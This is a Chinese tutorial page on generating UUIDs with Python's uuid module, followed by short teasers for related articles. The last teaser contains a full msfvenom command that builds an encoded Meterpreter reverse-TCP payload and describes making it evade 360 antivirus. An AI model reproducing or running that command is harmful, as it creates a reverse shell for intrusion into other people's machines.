Python生成UUID

全局唯一标识符(GUID,Globally Unique Identifier)也称作 UUID(Universally Unique IDentifier) 。

Python中有uuid库,可以生成不同类型的UUID:

import uuid
uuid.uuid1()

结果为:

UUID(‘f6922dc0-0c45-11e5-a62e-b8763facf5a5‘)

此外还有uuid2,uuid3,uuid4,uuid5,但是Python中没有uuid2。

>>> import uuid

>>> # make a UUID based on the host ID and current time
>>> uuid.uuid1()
UUID(‘a8098c1a-f86e-11da-bd1a-00112444be1e‘)

>>> # make a UUID using an MD5 hash of a namespace UUID and a name
>>> uuid.uuid3(uuid.NAMESPACE_DNS, ‘python.org‘)
UUID(‘6fa459ea-ee8a-3ca4-894e-db77e160355e‘)

>>> # make a random UUID
>>> uuid.uuid4()
UUID(‘16fd2706-8baf-433b-82eb-8c7fada847da‘)

>>> # make a UUID using a SHA-1 hash of a namespace UUID and a name
>>> uuid.uuid5(uuid.NAMESPACE_DNS, ‘python.org‘)
UUID(‘886313e1-3b8a-5372-9b90-0c9aee199e5d‘)

>>> # make a UUID from a string of hex digits (braces and hyphens ignored)
>>> x = uuid.UUID(‘{00010203-0405-0607-0809-0a0b0c0d0e0f}‘)

>>> # convert a UUID to a string of hex digits in standard form
>>> str(x)
‘00010203-0405-0607-0809-0a0b0c0d0e0f‘

>>> # get the raw 16 bytes of the UUID
>>> x.bytes
‘\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f‘

>>> # make a UUID from a 16-byte string
>>> uuid.UUID(bytes=x.bytes)
UUID(‘00010203-0405-0607-0809-0a0b0c0d0e0f‘)

详细信息参考:https://docs.python.org/2/library/uuid.html

时间: 2024-08-10 15:09:37

Python生成UUID的相关文章

【Python】 uuid生成唯一ID

uuid uuid是128位的全局唯一标识符(univeral unique identifier),通常用32位的一个字符串的形式来表现.有时也称guid(global unique identifier).python中自带了uuid模块来进行uuid的生成和管理工作.(具体从哪个版本开始有的不清楚..) python中的uuid模块基于信息如MAC地址.时间戳.命名空间.随机数.伪随机数来uuid.具体方法有如下几个: uuid.uuid1() 基于MAC地址,时间戳,随机数来生成唯一的u

Python生成测试数据

本文出自:http://blog.csdn.net/svitter 生成1~10的随机数1000个: import random fp = open("test", 'w'); for i in range(1, 1000): a = random.randint(1,10) fp.write(str(a)+"\n"); fp.close(); 注意:写入文件的不会在最后写入,而是重新写文件. Python生成测试数据,布布扣,bubuko.com

Extjs生成UUID

好久没写博文了,最近公司接了个项目要求用Extjs, 个人觉得Extjs优点蛮多滴... 由于特殊需求需要JS处生成UUID,之前原生JS引用的是第三方的JS(源自github) 现在有了Extjs只需要一句话就分分钟搞定了: Ext.data.IdGenerator.get('uuid').generate(); 另外:貌似这个ID生成期可以自定义,这个打算以后研究一下.

python生成测试图片

直接代码 1 import cv2.cv as cv 2 saveImagePath = 'E:/ScreenTestImages/' 3 4 colorRed = [0,0,255] 5 colorGreen = [0,255,0] 6 colorBlue = [255,0,0] 7 colorWhite = [255,255,255] 8 colorBlack = [0,0,0] 9 colorAqua = [255,255,0] 10 colorFuchsia = [255,0,255]

python生成词云

期末复习比较忙过段时间来专门写scrapy框架使用,今天介绍如何用python生成词云,虽然网上有很多词云生成工具,不过自己用python来写是不是更有成就感. 今天要生成的是励志歌曲的词云,百度文库里面找了20来首,如<倔强>,海阔天空是,什么的大家熟悉的. 所要用到的python库有 jieba(一个中文分词库).wordcould .matplotlib.PIL.numpy. 首先我们要做的是读取歌词.我将歌词存在了文件目录下励志歌曲文本中. 现在来读取他 #encoding=gbk l

python生成RSS(PyRSS2Gen)

既然能够用python解析rss,那么也顺带研究下生成rss. 其实很简单,只是生成一个比较特殊点的xml文档而已. 这里我使用了PyRss2Gen,用法很简单,看代码就知道了,如下: 1 import datetime 2 import PyRSS2Gen 3 4 rss = PyRSS2Gen.RSS2( 5 title = "Andrew's PyRSS2Gen feed", 6 link = "http://www.dalkescientific.com/Python

Python 生成随机验证码

Python生成随机验证码 Python生成随机验证码,需要使用PIL模块. 安装: 1 pip3 install pillow 基本使用 1. 创建图片 1 2 3 4 5 6 7 8 9 from PIL import Image img = Image.new(mode='RGB', size=(120, 30), color=(255, 255, 255)) # 在图片查看器中打开 # img.show()  # 保存在本地 with open('code.png','wb') as f

Java 生成 UUID

阅读目录 1.UUID 简介 2.UUID 组成 3.项目实战 回到顶部 1.UUID 简介 UUID含义是通用唯一识别码 (Universally Unique Identifier),这是一个软件建构的标准,也是被开源软件基金会 (Open Software Foundation, OSF) 的组织应用在分布式计算环境 (Distributed Computing Environment, DCE) 领域的一部分. UUID 的目的,是让分布式系统中的所有元素,都能有唯一的辨识资讯,而不需要

Metasploit+python生成免杀exe过360杀毒

Metasploit+python生成免杀exe过360杀毒 1在kali下生成一个反弹的msf的python脚本,命令如下: msfvenom -p windows/meterpreter/reverse_tcp LPORT=443 LHOST=192.1681.102 -e x86/shikata_ga_nai -i 11 -f py -o /opt/bk.py 2.拷贝出bk.py到window32系统进行修改,修改如下(这里的红色标注是修改增加的代码,其他不变) from ctypes